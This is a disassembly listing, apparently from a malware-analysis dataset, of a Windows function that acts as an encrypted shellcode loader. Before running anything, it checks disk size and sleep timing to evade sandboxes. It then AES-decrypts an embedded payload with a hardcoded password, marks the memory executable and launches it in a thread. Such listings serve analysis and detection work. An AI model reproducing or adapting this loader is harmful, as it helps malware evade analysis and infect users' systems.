Function at 0x140001450
Capabilities:
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov eax, 0x31190
call fcn.1400029f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x31120], rcx
mov qword [rbp + 0x31128], rdx
mov qword [rbp + 0x31130], r8
mov dword [rbp + 0x31138], r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x31108], rax
mov rax, qword [rbp + 0x31108]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x3109c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x310a0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x310a0]
mov edx, dword [rbp + 0x310ac]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x310b0]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x310b4]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x31104], eax
cmp dword [rbp + 0x31104], 0x63
ja 0x140001569
mov eax, 0
jmp 0x140001986
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov qword [rbp + 0x310f8], 0x7ffe0004
mov qword [rbp + 0x310f0], 0x7ffe0324
mov qword [rbp + 0x310e8], 0x7ffe0320
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov dword [rbp + 0x310e4], eax
mov rax, qword [rbp + 0x310f8]
mov eax, dword [rax]
mov rdx, qword [rbp + 0x310f0]
mov edx, dword [rdx]
shl edx, 8
imul edx, eax
mov rax, qword [rbp + 0x310e8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x310f8]
mov eax, dword [rax]
mov eax, eax
imul rax, rcx
shr rax, 0x18
add eax, edx
mov dword [rbp + 0x310e0], eax
mov eax, dword [rbp + 0x310e4]
sub eax, dword [rbp + 0x310e0]
cmp eax, 0x64
jbe 0x140001611
mov eax, dword [rbp + 0x310e0]
sub eax, dword [rbp + 0x310e4]
cmp eax, 0x64
jbe 0x140001611
mov eax, 0
jmp 0x140001986
movabs rax, 0x354d7dfe46242fa0
movabs rdx, 0xb4969062351766e7
mov qword [rbp + 0x31080], rax
mov qword [rbp + 0x31088], rdx
movabs rax, 0x49736d6454616368
movabs rdx, 0x4f7752447055326e
mov qword [rbp + 0x31040], rax
mov qword [rbp + 0x31048], rdx
movabs rax, 0x5878734664574d6e
movabs rdx, 0x4d496f4a6b354f77
mov qword [rbp + 0x31050], rax
mov qword [rbp + 0x31058], rdx
movabs rax, 0x777575504f307150
movabs rdx, 0x67586d5830594d31
mov qword [rbp + 0x31060], rax
mov qword [rbp + 0x31068], rdx
mov word [rbp + 0x31070], 0x5865
mov dword [rbp + 0x310dc], 0x32
lea rax, [rbp - 0x10]
lea rdx, [0x140004028]
mov ecx, 0x31050
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x14], 0x31050
mov eax, dword [rbp - 0x14]
cdqe
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x310d0], rax
mov dword [rbp - 0x34], 1
lea rax, [rbp - 0x20]
mov dword [rsp + 0x20], 0
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x14000173a
mov eax, 0
jmp 0x140001986
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x140001777
mov eax, 0
jmp 0x140001986
mov ecx, dword [rbp + 0x310dc]
mov rax, qword [rbp - 0x28]
lea rdx, [rbp + 0x31040]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x1400017b0
mov eax, 0
jmp 0x140001986
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x1400017ee
mov eax, 0
jmp 0x140001986
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x34]
mov r9d, 0
mov r8, rdx
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x140001823
mov eax, 0
jmp 0x140001986
mov rax, qword [rbp - 0x30]
lea rdx, [rbp + 0x31080]
mov r9d, 0
mov r8, rdx
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x14000185b
mov eax, 0
jmp 0x140001986
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x14]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x1400018a1
mov eax, 0
jmp 0x140001986
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov eax, dword [rbp - 0x14]
movsxd rcx, eax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x310d0]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov dword [rbp - 0x38], 0
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
lea rcx, [rbp - 0x38]
mov rax, qword [rbp + 0x310d0]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x310cc], eax
cmp dword [rbp + 0x310cc], 0
je 0x140001981
mov rax, qword [rbp + 0x310d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x310c0], rax
mov rax, qword [rbp + 0x310c0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x31190
pop rbp
ret